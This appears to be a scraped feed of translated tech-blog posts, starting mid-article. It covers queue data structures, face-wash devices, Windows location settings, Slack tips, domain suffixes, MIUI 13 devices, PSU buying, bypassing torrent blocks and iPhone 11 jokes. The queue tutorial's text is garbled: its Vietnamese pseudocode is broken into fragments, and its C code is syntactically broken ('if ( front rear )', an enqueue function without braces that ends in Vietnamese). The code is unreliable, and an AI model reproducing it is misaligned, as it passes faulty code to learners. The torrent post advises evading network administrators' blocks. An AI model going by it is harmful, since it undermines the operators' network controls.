method : takes the element at the top of the queue, without deleting this element.\nIsFull () method : check if the queue is full.\nIsEmpty () : check if the queue is empty or not.\nIn the queue data structure, we always: (1) dequeue (delete) the data pointed by the front pointer and (2) enqueue (enter) the data into the queue by the help of the rear pointer .\nIn the next section we will learn about the support features of the queue data structure:\nThe peek () method of the queue data structure\nAs in the stack data structure, this function helps us look at the data at the top of the queue. The algorithm of the peek () function is:\nb ắ t đầ u h à m peek return queue [ front ] k ế t th ú c h à m  Deployment of the peek () function in C language:\nint peek () { return queue [ front ]; }  The isFull () method in the queue data structure\nIf when we are using a one-way array to deploy the queue, we only need to check if the rear pointer has reached MAXSIZE to determine if the queue is full. In the case of queue deployment by using Round Linked List, the algorithm for isFull () function will be different.\nThe following is the algorithm of isFull () function:\nb ắ t đầ u h à m isfull if rear equals to MAXSIZE return true else return false endif k ế t th ú c h à m  Algorithm deployment of isFull () function in C language:\nbool isfull () { if ( rear == MAXSIZE - 1 ) return true ; else return false ; }  IsEmpty () method in the queue data structure\nThe algorithm of isEmpty () function:\nb ắ t đầ u h à m isempty if front l à nh ỏ h ơ n MIN OR front l à l ớ n h ơ n rear return true else return false k ế t th ú c if k ế t th ú c h à m  If the value of the front is less than MIN or 0, then the queue has not been initialized yet, so the queue is empty.\nHere is the code deployment in C language:\nbool isempty () { if ( front rear ) return true ; else return false ; }  Operate enqueue in queue data structure Because the queue data structure maintains two data pointers: front and rear, so the operation of this type of data structure is quite complicated when compared to the stack data structure.\nHere are the steps to enqueue (insert) data into the queue:\nStep 1 : check if the queue is full.\nStep 2 : If the queue is full, the process fails and is exited.\nStep 3 : If the queue is not full, increase the rear pointer to point to the next available memory location.\nStep 4 : Add the data element to the position where the rear cursor is pointing to the queue.\nStep 5 : return success.\n  Sometimes we also need to check if the queue has been initialized to handle unexpected situations.\nAlgorithm for enqueue operation in queue data structure\nb ắ t đầ u enqueue ( data ) if queue l à đầ y return overflow endif rear ← rear + 1 queue [ rear ] ← data return true k ế t th ú c h à m  The algorithm deployment of enqueue () operation in C language:\nint enqueue ( int data ) if ( isfull ()) return 0 ; rear = rear + 1 ; queue [ rear ] = data ; return 1 ; k ế t th ú c h à m  To monitor the full code deployment of the above activities in C language, please click on chapter: Queue in C.\nOperation dequeue in queue data structure Accessing data from the queue is a two-step process: access the data where the front cursor is pointing and delete the data after accessing it. Here are the steps to perform dequeue :\nStep 1: check if the queue is empty.\nStep 2 : If the queue is empty, the process fails and is exited.\nStep 3 : If the queue is not empty, access the data where the front cursor is pointing.\nStep 4 : Increase the front pointer to point to the location containing the next element.\nStep 5 : return success.\n  Algorithms for dequeue operation\nb ắ t đầ u h à m dequeue if queue l à tr ố ng return underflow end if data = queue [ front ] front ← front + 1 return true k ế t th ú c h à m  Dequeue () operation deployment in C language:\nint dequeue () { if ( isempty ()) return 0 ; int data = queue [ front ]; front = front + 1 ; return data ; }  To monitor the full code deployment of the above activities in C language, please click on chapter: Queue in C.\nStore queues\nAccording to Tutorialspoint\nPrevious article: Stack data structure (Stack)\nNext article: Linear search algorithm (Linear Search)\nncG1vNJzZmismaXArq3KnmWcp51kvrax1J5knZmklnq0wNGumq2topp6ssHErpw%3D\n","link":"/post/queue-data-structure-queue/","section":"post","tags":null,"title":"Queue data structure (Queue)"},{"body":"Compared to the traditional method, the face wash machine offers superior results thanks to the ability to clean from deep inside the pores. So is this device suitable for sensitive, irritated skin like acne?\nQuick review of content The use of face washers Should acne skin use a face wash machine? What should be noted? Some types of face washers for acne skin The use of face washers Facial washers are a facial care tool used by many women. This device can give you a smooth, bright white skin thanks to great uses such as:\nFacial cleansing : a face wash device can remove dirt, dullness from deep within the pores - something that traditional facial cleansing is difficult to do. Exfoliating : In addition to the ability to clean the skin, the face wash machine also helps to remove dead skin cells on the skin surface, returning you smooth skin, bright white. Enhance blood circulation under the skin: The vibrating, rotating movements of the facial cleanser are similar to the massage movements, help the skin relax, support blood circulation and stimulate toxin elimination.   Facial cleanser helps clean skin from deep pores\nShould acne skin use a face wash machine? What should be noted? Acne skin is very sensitive skin. Just washing your face the wrong way or using the wrong care product is enough to make acne worse. People with acne can still use a face-washing machine to increase the effectiveness of skin cleansing, but must note some of the following:\nShould choose a face wash tool with a soft brush, moderate vibration to avoid damaging the skin Only use facial cleanser every 1-2 weeks. If you see any abnormal signs, you should stop using them immediately and consult a doctor Regularly clean the brush tip to prevent bacteria from forming Do not share washing machines with others Suitable skin care products should be used to increase the effectiveness of acne treatment   Acne skin should use a face wash machine with a reasonable frequency and level\nSome types of face washers for acne skin Beurer FC45 exfoliating cleanser - Price 780,000 VND\nBeurer FC45 has a compact size made of high quality plastic. It works with 2 1.5V AAA batteries, so it is very convenient and safe for users. The tip of the brush is soft and helps cleanse the skin from deep inside and does not damage the skin.\nWasher Lanaform Lucea LA1313080 - Price 850,000\nLanaform Lucea LA1313080 has a smart design that makes it easy to use and store. It is made of antibacterial silicone so it is especially suitable for acne-prone skin. In addition, Lanaform Lucea LA1313080 is also equipped with 3 flexible operating surfaces and 8 speeds.\n4D Face Washer HL - AB - Price 750,000 VND\n4D HL - AB face wash machine has a soft hair tip, with a hair size of 0.009mm only. Thanks to that, it can clean on many different skin areas, including the most sensitive skin types such as acne skin. In addition to cleaning function, 4D face wash machine HL - AB also helps reduce sebum secretion, pore control.\nThus, those who have acne can still use a face wash machine but on the condition that they have to choose the right product and use it appropriately. Contact META.vn for detailed advice.\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZpldm66ksYywmKygXaKupLTIp5xmmpViwrSxw2adqKpdlrCvsYysoqKm\n","link":"/post/should-a-face-wash-machine-be-used-for-acne-skin/","section":"post","tags":null,"title":"Should a face wash machine be used for acne skin?"},{"body":"Maybe you don't know, any stop you come to, Windows 10 knows all. Windows 10 will collect the user's location to provide relevant information such as local weather, and some other information. However, if you feel uncomfortable or don't want Windows 10 to track your location, you can turn off location tracking on Windows 10.\n1. How to turn off location tracking for a user account? To turn off location tracking for a User account on Windows 10, follow the steps below:\n1. Click Start Menu - Windows icon located in the bottom left corner of the screen.\n2. Click Settings .\n  3. On the Settings window, click Privacy .\n4. Next click on Location .\n  5. In the Location section, switch the status to OFF to turn off location tracking.\n  2. How to turn off location tracking for all accounts on a Windows 10 computer? To turn off location tracking for all accounts on a Windows 10 computer, follow the steps below:\n1. Click Start Menu - Windows icon in the bottom left corner of the screen.\n2. Click Settings .\n  3. On the Settings window, click on Privacy .\n4. Click to select Location .\n  5. Next, click the Change button .\n6. Finally switch Location to OFF to turn off location tracking on your Windows 10 computer.\n  Refer to some of the following articles: Unlock hidden features on Windows 10 with some Registry tricks How to re-activate Windows 10 after changing the hardware? Instructions to reset Windows 10 password without using the 3rd tool Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamn55dobykrdOipqdlpKeupLfIp55mp55ixKq6w6iurGVhZQ%3D%3D\n","link":"/post/turn-off-location-tracking-on-windows-10/","section":"post","tags":null,"title":"Turn off location tracking on Windows 10"},{"body":"Slack is a virtual meeting room for everyone. It does a really impressive job. That is bringing the teams together in the most natural and seamless way. But you can't let Slack do all the work for you. You will need to do something to keep Slack on track and not to be forgotten.\nTo help you achieve a balance between working on Slack and updating your actual work, this article will give you the most useful tips for mastering Slack.\nNote : You will find the most important Slack settings in two places: Preferences and Profile \u0026amp; Account\u0026gt; Account . You can access them via the popup menu hidden behind your name in the sidebar.\n  Useful tips for mastering Slack Set up Slack for faster workflows Hide all channels and contacts Turn off email notifications Refine settings to receive only important notifications Decode your channel list Mute the channels that distract you Forcing Slack to stop asking you to switch status Pin messages Use shortcuts in Slack Master search commands and Slash commands Exclude search results from specific channels  Use Slack more effectively Starred messages contain tasks that are assigned to you Request Slackbot to send reminders Write a note for yourself Remind the message when you are working Quote messages to provide context Make conversations clearer by formatting Add integration and bot Increases team spirit Expand your Slack reach Start a conversation Keep the environment positive  Making Slack an interesting place to chat Are you ready to own Slack? Set up Slack for faster workflows With so many group chats and private conversations going on, Slack can be quite distracting. You need Slack to be cleaned and have a smarter workflow to control everything.\nLet's start with the following:\nHide all channels and contacts Go to Preferences\u0026gt; Advanced Options\u0026gt; Channel List and from that menu, select Hide any channels , etc., and there will be no notifications about activities that you have not read, unless they are starred. This helps prevent inactive channels / contacts from taking up valuable space in the sidebar and distracts users. Don't worry, you'll still see them highlighted when there are any messages sent to you.\nOnly extremely important, favorite channels and contacts, by starring, appear next to the name of each channel when you hover over it. This puts them in a separate list right on top in the sidebar for quick access. Instructions to access all channels and contacts quickly will be available in the next section.\n  Turn off email notifications You do not need these notifications, but you will still receive a notification in the Slack application or on the Slack website when you open it. Email notifications will only confuse your inbox and drive you crazy. To remove them, go to Account\u0026gt; Notifications\u0026gt; Additional Settings , click the Expand button next to Email Preferences and in the Email Notifications section, select Never.\nIf you think email notifications are necessary and don't want to turn them off, consider setting up filters to collect all of them in a separate folder and keep them out of your inbox.\nChoose not to receive email updates, by unchecking Send me emails with Slack news and tips in the Email News \u0026amp; Updates section . You will continue to receive the admin email to reset your password and you can update Slack news via More Items\u0026gt; What's New . You will find the More Items icon on the top right in Slack (find the three dots vertically).\nRefine settings to receive only important notifications Go to Preferences\u0026gt; Notifications\u0026gt; Notification Settings and select Only Direct Messages \u0026amp; Highlight Words . You should do so unless you have changed the default settings in the past. Now scroll down to the Highlight Words section. This is where you can ask Slack to notify you when someone gives a specific word or phrase.\nFilter your channel list Please see the list of channels you join. How many channels do you really care about and how many channels are making your feed messy? Remove channels in the second type immediately. That is one of the many reasons you lose focus.Leave option from a channel hidden behind the gear icon, to the left of the search box.\n  Mute the channels that distract you Do you want to use certain channels and ignore them for the rest of the time? That is possible if you mute the channels. You will stop receiving notifications for them but you can still turn them on to read or add conversations to it. It is better to remove the path the user has joined the channel and the notification on the left on the channels. You will find the Mute option in the same menu with the Leave option above.\nForcing Slack to stop asking you to switch status Did you know that there is an annoying dialog box asking you to change the status to 'active' every time you open Slack? You can disable this feature by selecting Don't ask me again , please in that dialog. You can do the same from Preferences\u0026gt; Advanced Options , then look in Other Options to find the option Ask if I want to toggle my away status . and uncheck it.\n  Pin messages To avoid useful information lost in the chat on the channel, keep the most important messages pinned to the channel, through their context menu. This makes them easily accessible from the Channel Details section, hidden behind the icon to the left of the search box.\n  Use shortcuts in Slack   No digital workflow is complete without a shortcut, right? Slack has some great shortcuts that once used, you'll wish you could know them sooner. Please refer to the article: These Slack shortcuts will save your life for more details.\n  Master search commands and Slash commands Knowing how to master the search box and the message input field in Slack can greatly boost your work.\nWith Slack, you can find a conversation faster with the search modifier. Here are three of the most useful commands:\n from: [username] to: [channel or username] in: [channel or username]     Exclude search results from specific channels If you want to prevent Slack from displaying results from certain channels, such as those you don't use often, you can do that in Preferences\u0026gt; Search . In the dialog box provided there, enter the channel name and select it from the list that appears. This will exclude that channel from search results.\n  Control Slack with slash (/) commands. They allow you to access different Slack functions from the input field in any channel.\nFor example, you can use / dm @username to send a message directly to someone. Use / away to switch your status. With keywords / giphy, you can ask Slack to find an appropriate GIF.\nAre you distracted by a series of GIFs when you are reading some important messages? Hide all those GIF images (or other inline images) with the / collapse command.\nUse Slack more effectively Keep regular tabs on @mentions . Whenever you want to review the messages sent to you, go to the Mentions \u0026amp; Reactions section by clicking on the @ icon to the right of the search box.\nStarred messages contain tasks that are assigned to you With so many discussions going on in Slack, it's easy to lose track of the messages you need to track. The solution is to hover over the message to work and click the star icon next to it. This will place the messages in the Starred Items section that you can open by clicking the star icon to the right of the search box. In this way, Slack can double your to-do list and you will not lose the important tasks that the team assigns to you.\nTo expand this, visit your favorite Slack channel now and click the @mentions button. You will see the URL added / mentions / at the end. Bookmark this page and place it in the browser toolbar. After that, you will always see your @mentions when you go to Slack.\nRequest Slackbot to send reminders Your personal assistant, @slackbot , can provide reminders to help you track tasks. To set a reminder for any message, click the dot icon / context menu icon on the right side of the message and select the time frame in the Remind me about this section .\nInstead, you can set up reminders with this syntax:\n / remind [who] [what] [khi]  For example, the prompt may look like this:\n/ remind me that I have a meeting with Ryan at 5.10 pm today (Remind me to have a meeting with Ryan at 5:30 pm tonight).\n  You can also set reminders for group members and channels by replacing [who] in the above syntax with @username or #channel , respectively.\nWrite a note for yourself Any content you enter into the mail area you share with @slackbot will only be visible to you. This makes using that area as a scratchpad perfect. Use it to save links, paragraphs, or anything else you want to keep handy. You can even use it to check commands, before importing them into another channel or experimenting with commands / giphy without leaving the channel.\n  Remind the message when you are working If you've opened Slack to solve something specific and can't stop to chat with other people, click the little bell icon next to your name in the sidebar right away. This activates Do Not Disturb, and Slack mode will not bother you with notifications. When you have finished your work, click the bell icon again to return to the notification receive mode.\nQuote messages to provide context The conversation can cover a lot of issues in just a few minutes. This means that what you said, just ten minutes ago, may have been 'buried' forever. If you want to draw the attention of a team member to that comment or ask their opinion about them, cite that message to draw attention to it.\nTo re-quote any message, right-click its timestamp and copy its link from the context menu, then paste it into the new message. Of course, use this in a limited way so that channels are not filled with quoted messages, instead of online messages.\n  Make conversations clearer by formatting Put text in a pair of underscores _text_ or in a pair of asterisks * text * or use a pair of accents to emphasize. To add text on a new line, press Shift + Enter . If you want to add a blockquote, start with the \u0026gt; sign.\nTo protect your Slack account with two-factor authentication, go to Account\u0026gt; Settings to set up. Click Expand next to Two-Factor Authentication and follow the on-screen instructions to complete the setup process. In that section, you'll also find a link to log you out from all other sessions. Use that link by logging in to your Slack account on the web, in case you have lost your device.\nAdd integration and bot When you add the power of bots and integrations to Slack, it seems that Slack can do anything for you and your team.\nNow, see what benefits you have when using Slack:\nPut files from Google Drive and Dropbox into Slack. Waste less time when setting up a meeting with Tatsu.io. Leave a 'absent' message with Out of Office bot for Slack. Share your feelings with team members with Oskar.hanno.co. Display time on different time zones with TimeLord.   To configure the integration, click your name in the Slack sidebar and then click Apps \u0026amp; Integrations from the menu that appears. This will take you to the application folder, from which you can install the application or bot. Of course, you may not have the necessary privileges for this setup process. If you feel that the entire group will benefit from an application, ask your group admin to consider installing the application.\nIncreases team spirit At first, you may have difficulty keeping up with Slack but don't let that stop you. Everything becomes much more interesting when you work effectively and manage them easily.\nExpand your Slack reach At this point, you should explore more channels about your favorite topics. Reach out to team members to build better relationships with them. Make new members feel at home. If you think a team member deserves special praise, don't hesitate and do it.\n  If you are an introvert, do not give up creating ideas for talking or joining a conversation, even if you have nothing specific to say. Instead, do what you think is best, like finding people on an individual basis. When you do this, you will feel more comfortable in group chats, even if you are not an active member in the group.\n  Start a conversation Sometimes Slack channels become too quiet. Maybe it's just a bad day at work in general or maybe people are preoccupied with something personal. There are days when everyone in the group may need some encouragement, and you may be the one who started initiating such conversations.\nStart a discussion on a topic that you know your team will be interested in. Ask for feedback or help with something. Give an idea of ​​what you think a team can do better than an individual. Share an article. You can always create GIF images at the end, for example. Of course, you don't need to wait until the days of poor labor productivity to do any of these things. Do them whenever you feel necessary.\n  Keep the environment positive So what if Slack is a virtual office? The people in your group are still real people, meaning that many offline rituals also apply to Slack. Therefore, always be friendly and polite. And remember to work before thinking about playing.\nThink carefully before you use the notification command. The @channel command sends to all members notified by email, regardless of whether they are logged in or not and whether they are active. Similarly, the @group command notifies all members of a group and @everyone notifies all of your team members (and you can only use it in the default channel, #general ).\nWhat are you writing important enough to attract the attention of the entire group in some time zones? Think about it before you send a message to the channel or group.@here can be a better option for most situations. It only notifies members currently active on Slack.\nWhen you use the @channel command , you will receive a warning about the number of people you are about to notify, but if the admin in your group has disabled it, you can turn on the notification yourself.\nMaking Slack an interesting place to chat If you are active on Slack (or plan to become more active after reading this article), it's time to feel comfortable and personalize Slack a bit.\nFirst, change the theme for the sidebar in Preferences\u0026gt; Sidebar Theme . Find something pleasant and won't hurt you if you have to spend a lot of time watching it.\nAdd emoji (emoticons) and loading messages. Click your name in the sidebar and select Customize Slack from the menu that appears. This will take you to the Customize Your Team section , where you can add the emoji and loading messages you choose. This will be very interesting.\n  Shop, find a good movie, play billiards. Do you think Slack just works? Think again! Slack can be your new virtual home, from which you can read RSS feeds, order taxis, search for IMDB databases and even participate in physical challenges. All you need is a series of great integrations for Slack to get started.\nAre you ready to own Slack? Email continues to become increasingly important in work, but Slack has succeeded in reducing the dependence of people on email, through collaboration.\nIf you don't know about Slack, why don't you try it once? If you already use Slack, you now know some of the best ways to make it more effective for your job.\nDo you use Slack regularly? What will make Slack better or more interesting for you? If you have other useful tips, let us know in the comment section below!\nSee more:\nSlackware's package utilities Microsoft Teams - the competing chat application with Slack has a free version Critical vulnerabilities discovered in Framework Electron, Skype, Slack, Twitch and a series of affected apps ncG1vNJzZmismaXArq3KnmWcp51kwrSxxa6jZqyZpcBuss6rZKaZo6mys7XNoGSspJGYuA%3D%3D\n","link":"/post/useful-tips-for-mastering-slack/","section":"post","tags":null,"title":"Useful tips for mastering Slack"},{"body":"Each time you enter a domain name, you always need to type something after the dot like .com, .net, .org, etc. These three letters are very important to the address you enter to get you where you need it and they are called Top Level Domains (TLD).\nThese three letters are always at the end of the domain name, but are they so important? Can you know the website information just by reading these three letters? If you do not type them, you may be sent to a wrong site or go nowhere.\nWhat is the top level TLD domain name? Top-level domain names are also called Internet domain extensions or domain suffixes. Thanks to this top-level domain name, you can instantly know the type of website information provided. For example, if the URL you are entering ends with .gov, you know that it is government-related information.\n  Each independent top-level domain name is managed by a specific organization. This organization is under the control of Internet Corporation for Assigned Names and Numbers (ICANN). But why are there so many top-level domains? Because the top-level domain name tells you its geographical area, the owner, the purpose, there are quite a few options.\nTypes of top-level domain names   There are six main top-level domain names recognized by ICANN:\n1. Country code Top Level Domain (ccTLD) - Each country has its own top-level domain name based on two-letter ICO code. For example, America's highest-level domain name is .us, Mexico is .mx, Vietnam is .vn. This top-level domain name has only two letters.\n2. Generic Top Level Domain (gTLD) - This top-level domain name is collectively called because it is used by a specific class of organizations. In March 2018, the number of shared domain names is over 1200 and there are many types of generic top-level domains such as support, geography and brand names. For example, top-level domain names are .com, .org, .infor and .net. Anyone can register this top-level domain name.\n3. Infrastructure Top Level Domains (arpa) - This top-level domain name has only one single domain name arpa stands for Address and Routing Parameter Area and is controlled by the Digital Issuing Organization. Internet Assigned Numbers Authority (Internet Assigned Numbers Authority).\n4. Top-level domains supported (Sponsored Top Level Domains - sTLD) - Private organizations are organizations that manage these top-level domains. Examples of supported top-level domains are .asia, .edu, .aero, .museum, .jobs, .mobi and .gov. These top-level domains are restricted and will only be assigned if certain guidelines are met.\n5. Creative Top Level Domain Domain - .tv (for TV programs and other video projects), .name (for sites that focus on a specific user), .me (projects) personal branding project), .expert (to show you are an expert in certain areas) and .guru (similar to the previous top-level domain name).\n6. Internationalized Top-Level Domain Name (IDN) - This type of top-level domain name can be seen in a natural language script. If you see a domain name with the .ykp letter, it is the top-level domain name for Ukraine.\nNot all top-level domains are used in production networks. For example, top-level domains such as .example, .invalid, .localhost and .test. These top-level domains can be used according to its name. For example, the .test domain name is used in tests. When you know the meaning of the top level domain, at least you know about the information that the site provides.\nSee more:\n6 tools to help you choose creative and unique domain names The most dangerous domain names in the world How to choose the best domain name? ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWkpL2tsdWeo2acn6KuqrqMp5imnV2puaV5wKebZqCfrHqlu4ytn56xXay8s7c%3D\n","link":"/post/what-is-top-level-domain-name-tld-and-how-do-they-work/","section":"post","tags":null,"title":"What is top-level domain name (TLD) and how do they work?"},{"body":"According to experts, it is expected that about 118 Xiaomi smartphone models will be upgraded to MIUI 13 in the near future.\nThis update mainly redesigned the interface, added new application icons and widgets, these changes will focus mainly on the main screen and Control center.\nInterested readers can refer to the list of devices upgraded to MIUI 13 here:\nMi series (now Xiaomi has dropped this brand) Mi 10 Mi 10S Mi 10 Pro Mi 10 Lite Mi 10 Lite Zoom Mi 10 Ultra Mi 10T Mi 10T Pro Mi 10i Mi 10T Lite Mi 11 Mi 11 Pro Mi 11 Ultra Mi 11i Mi 11X Pro Mi 11X Mi 11 Lite Mi 11 Lite 5G Xiaomi 11T Xiaomi 11T Pro Xiaomi Lite 5G NE 11 Xiaomi civi Xiaomi MIX 4 Xiaomi MIX FOLD Xiaomi Pad 5 Xiaomi Pad 5 Pro Xiaomi Pad Pro 5 5G\nMi Note series Mi Note 10 / Pro Mi Note 10 Lite Mi 9 Mi 9 SE Mi 9 Lite Mi 9 Pro 5G Mi 9T Mi 9T Pro Mi CC 9 Mi CC 9 Pro\nRedmi series Redmi 9T Redmi 9 Power Redmi 10X 5G Redmi 10X Pro Redmi 10 Redmi 10 Prime Redmi 9A Redmi 9AT Redmi 9i Redmi 9A Sport Redmi 9i Sport Redmi 9C Redmi 9C NFC Redmi 9 (India) Redmi 9 Activ (India) Redmi 9 Prime Redmi 9 Redmi 10X 4G\nRedmi CZK series Redmi K30 4G Redmi K30 5G Redmi K30i 5G Redmi K30 5G Speed ​​Edition Redmi K30 Pro Redmi K30 Pro Zoom Redmi K30 Ultra Redmi K30S Ultra Redmi K40 Redmi K40 Pro Redmi K40 Pro+ Redmi K40 Gaming Redmi K20 Redmi K20 (India) Redmi K20 Pro Redmi K20 Pro (India) Redmi K20 Pro Premium Edition\nRedmi Note series Redmi Note 8 2021 Redmi Note 9 4G Redmi Note 9 5G Redmi Note 9T 5G Redmi Note 9S Redmi Note 9 Pro (India) Redmi Note 9 Pro (Global) Redmi Note 9 Pro 5G (China) Redmi Note 9 Pro Max Redmi Note 10 Redmi Note 10S Redmi Note 10 (China) Redmi Note 10 5G (Global) Redmi Note 10T (India) Redmi Note 10T (Russia) Redmi Note 10 JE (Japan) Redmi Note 10 Lite (India) Redmi Note 10 Pro (India) Redmi Note 10 Pro Max (India) Redmi Note 10 Pro (Global Redmi Note 10 Pro 5G (China) Redmi Note 11 (China) Redmi Note 11T (India) Redmi Note 11 JE (Japan)\nRedmi Note 11 Pro (China) Redmi Note 11 Pro+ (China) Redmi Note 8 Redmi Note 8T Redmi Note 8 Pro Redmi Note 9\nPOCO . series POCO F2 Pro POCO F3 POCO F3 GT POCO X2 POCO X3 (India) POCO X3 NFC POCO X3 Pro POCO X3 GT POCO M3 POCO M2 Pro POCO M3 Pro 5G POCO M4 Pro 5G POCO M2 POCO M2 Reloaded POCO C3 POCO C\nList of 7 devices experienced before MIUI 13 Mi Mix 4 V13.0.0.1.SKMCNXM Mi 11 Ultra V13.0.0.3.SKACNXM Mi 11 V13.0.0.3.SKBCNXM Mi 11 Lite 5G V13.0.0.3.SKICNXM Mi 10S V13.0.0.2.SGACNXM Redmi K40 Pro / Plus V13.0.0.3.SKKCNXM Redmi K40 V13.0.0.2.SKHCNXM\nIf your phone is not on this list, don't worry, Xiaomi is likely to add more soon when the MIUI 13 update rollout begins.\nIn this list, there are devices that have been released since 2019, such as Xiaomi Mi 9, Redmi K20 and Redmi Note 8. It is expected that the official MIUI 13 version will be released on December 16 here. , on the same day as the Xiaomi 12 launch.\nncG1vNJzZmismaXArq3KnmWcp51kfnKEjLGgmqednnqlsdWimp6rXaq9qL7AnZydZaSkeq611KJkams%3D\n","link":"/post/118-xiaomi-devices-upgraded-to-miui-13/","section":"post","tags":null,"title":"118 Xiaomi devices upgraded to MIUI 13"},{"body":"If you choose a poor quality power supply, chances are your PC components will break down quickly.\nHowever, choosing a quality and suitable power supply for the system is not a simple task, especially for users with little technology knowledge. The following article will suggest 4 important things to know before buying a PSU.\n1. How much power is enough for the computer power supply? You need to calculate how much power your PC will use in order to avoid 'mistakenly buying' over / over power supplies with the system. Fortunately, a variety of computer power manufacturers offer a total power consumption calculation toolkit to help you choose the power supply that is most suitable.\n Here, you can use the OuterVision toolkit at http://outervision.com/power-supply-calculator. Please enter your computer's configuration in the corresponding boxes, including the CPU code name, the amount of RAM of the system, the code name of the video card, the HDD \u0026amp; SSD, etc. so that the tool can calculate and give suggestions. Note that the power supply has the most suitable capacity. It should be noted that you can completely choose a PSU with larger capacity than suggested by OuterVision if you intend to upgrade in the future, or if you need to overclock CPU / VGA.\u0026nbsp;\n2. Rated power supply quality according to 80 Plus standards When selecting any power supply, select the power supplies with the 80 Plus logo printed on the box. If you don't know, this is a technology standard launched in 2004 that standardizes the quality of power supplies, helping to classify and validate the performance of the PSU.\nTo be rated 80 Plus compliant, the power supply must be able to maintain at least 80% or better performance across all load levels, including 10% load. Currently, there are a total of 6 80 Plus standards from low to high for users to choose, including White (or 80 Plus usually), Bronze, Silver, Gold, Platinum, Titanium.\n Although the 80 Plus was born to classify the performance of the power supply, we can also refer to this standard to evaluate the 'genuine' of the power supply. Put simply, to achieve conversion performance of 80 Plus or above standards, power supply manufacturers will have to use good quality components, as well as apply the latest technologies.\nOf course, the higher the 80 Plus standard, the more expensive the PSU is. If owning a PC that costs 10-15 million VND, PSUs that meet the 80 Plus or 80 Plus Bronze standards are a reasonable choice. For gamers who have mid-range or high-end PCs, choose PSU models that are 80 Plus Gold or Platinum.\n3. Research the power cord connection carefully before buying There are 3 series of power cord connections, including Full Modular, Semi Modular and Non Modular, each with its own pros and cons.\u0026nbsp;\nWith Full Modular model, all power cords are pre-fixed to the PSU board, making it impossible to remove unnecessary power cords. This implicitly makes the work of 'wiring' (neatly arranging wires in the case) becomes more difficult. At the same time, the power cord can block the cooling airflow inside the case, affecting the ability of the system to dissipate heat.\u0026nbsp;\nIn contrast, the PSU type uses a Non Modular type (cable) that allows users to disassemble the entire power cord, or just install the necessary series of power cords, making your PC look a lot cleaner. Full Modular power supply usually have a higher cost than Non Modular power supply.\u0026nbsp;\nWith the Semi Modular power supply, some power cords are pre-soldered to the circuit board such as 24-pin wire or 8-pin wire. However, the rest of the power cord can be easily disassembled just like Full Modular power.\n Also, make sure that your power supply has all the necessary power cords available. Some power supplies often do not include a sufficient number of 6 pin / 8 pin auxiliary power cord or SATA power cord. Meanwhile, these types of power cords are especially needed if you want to install discrete graphics card models that need extra power, or install multiple HDD / SSD SATA drives at the same time.\u0026nbsp;\n4. Choose only reputable brands \u0026amp; read reviews carefully! Before buying any power supply, try to consult as much as possible from different review articles to get the most accurate information. Typically, experts will base on criteria such as circuit design, DC current stability, protection standards, power factor and operating temperature, etc., to classify the quality. The power supply is based on \"tier\".\u0026nbsp;\nFinally, remember to choose PSU from well-known manufacturers such as Seasonic, FSP, Antec, Cooler Master, Thermaltake, Corsair, Superflower, Xigmatek and Andyson etc., and absolutely avoid floating, unknown brands. origin in the market ./.\npower supply  ncG1vNJzZmismaXArq3KnmWcp51kgW7Ax6KloKtdqbxuus6tnGaalZu8s7GMnJ%2Bop6Oeu6h506hkm62pYq5uvNKuZKmnp5q%2Fbr%2FUqaelsV2bvLN5wGannA%3D%3D\n","link":"/post/4-things-to-note-before-choosing-to-buy-a-psu-power-supply-for-a-pc/","section":"post","tags":null,"title":"4 things to note before choosing to buy a PSU power supply for a PC"},{"body":"   Since its first appearance, the torrent protocol has created one of the most powerful P2P protocols available. But for many reasons such as piracy or bandwidth abuse, not everyone recognizes the convenience of sharing this file . Many administrators block connections to the torrent network to prevent users from requesting torrents or files. There are many ways to help us overcome torrent locking - and below we will introduce 5 methods. TXTor We will start with the simplest way. Sometimes the work that lazy network administrators do is filter \".torrent\" files. Their argument says that if you can't access the torrent, you won't be able to access the shared files.\n  If the problem is just this shallowness, you can use TXTor . Basically, this service works as follows: - You give TXTor a link to a \".torrent\" file. - It will download the file and change the file extension to .txt - It will then give you a link to the renamed file. - Download this file, rename it back to \".torrent\". - Open this file using a client torren and start downloading. Unfortunately, TXTor can't help you if your administrator locks / filters torrent traffic. The TXTor page recommends that users try to use other ports in the client or encrypt the traffic. If dealing with ports and encryption is too much for you, there are many other online solutions that are easier to test. BitLet BitLet - An online torrent client and behaves exactly like a desktop: - Users put the torrent link into the request box (or use an existing torrent file) then click \" Download Torrent \".\n  - BitLet will ask to see where to save this shared file.\n- After the user provides the path, the download process will begin. But as a torrent client, it is still possible that this traffic will be blocked by the administrator. It may work on your connection, maybe not. According to our tests on several different networks give us more failure than success. Even so, it is still worth a try. Torrent Relay We can say that this is an online torrent client; can be used through regular browsers, iPhone and iPod Touch, Play Station 3, and many other mobile devices. Here's an overview of how this service works: - User gives Torrent Relay a torrent link. - This shared file will be downloaded to Torrent Relay's server. - The user will retrieve an HTTP address to download this file from Torrent Relay's server.\n  A good thing is that this service makes the process of downloading torrents accessible to everyone, everywhere. But the downside is that heavy traffic is sometimes unavailable, and if you are not a \"paying member\" the download file will not be able to recover.\nThere will be no problem using Torrent Relay for small files, but if you are downloading large files with an unstable connection, it should be reviewed or these processes will be extremely annoying. If there is a web service that allows users to download files from an HTTP address to a resilient online server, the combination with Torrent Relay will be a perfect choice. ImageShack ImageShack also gives users the ability to download torrents. You just need to open a free account with their service.\n  With the first look, this seems like a perfect tool: people download torrents and store shared files in their ImageShack archive. These shared files can be downloaded from anywhere and by anyone - users share their files. The limit for free users is also quite open: 5GB for storage and 10 GB for bandwidth usage.\nncG1vNJzZmismaXArq3KnmWcp51kgW7DwLKqZqyfYq%2B6vMCsqmaanKSwrLHDZquoqqKau7V5wqilp52Tqbawug%3D%3D\n","link":"/post/4-ways-to-bypass-blocked-torrent-connection/","section":"post","tags":null,"title":"4 ways to bypass blocked Torrent connection"},{"body":"Shortly after Apple launched the iPhone 11 early this morning (according to Vietnam time), the online community has released photos of the camera and criticize the camera as well as the price of this phone.\nActual photo of iPhone 11, 11 Pro and 11 Pro Max, expected price in Vietnam from 21.99 million Here are some funny images about the iPhone 11's design, please take a look.\nThe camera cluster of the iPhone 11 is equipped with a super wide-angle camera that makes it \"cramped\". According to the opinion of many netizens, this camera cluster is quite rough, 3 black cameras look like a coconut.\n  The iPhone 11 camera cluster is compared to the Wingardium Flutuante account as infrared cookers. This is the photo that received the most interaction on Twitter.\n  The camera cluster occupies a small area on the back of the iPhone 11, making GabriG's account feel like using a cannon when using this 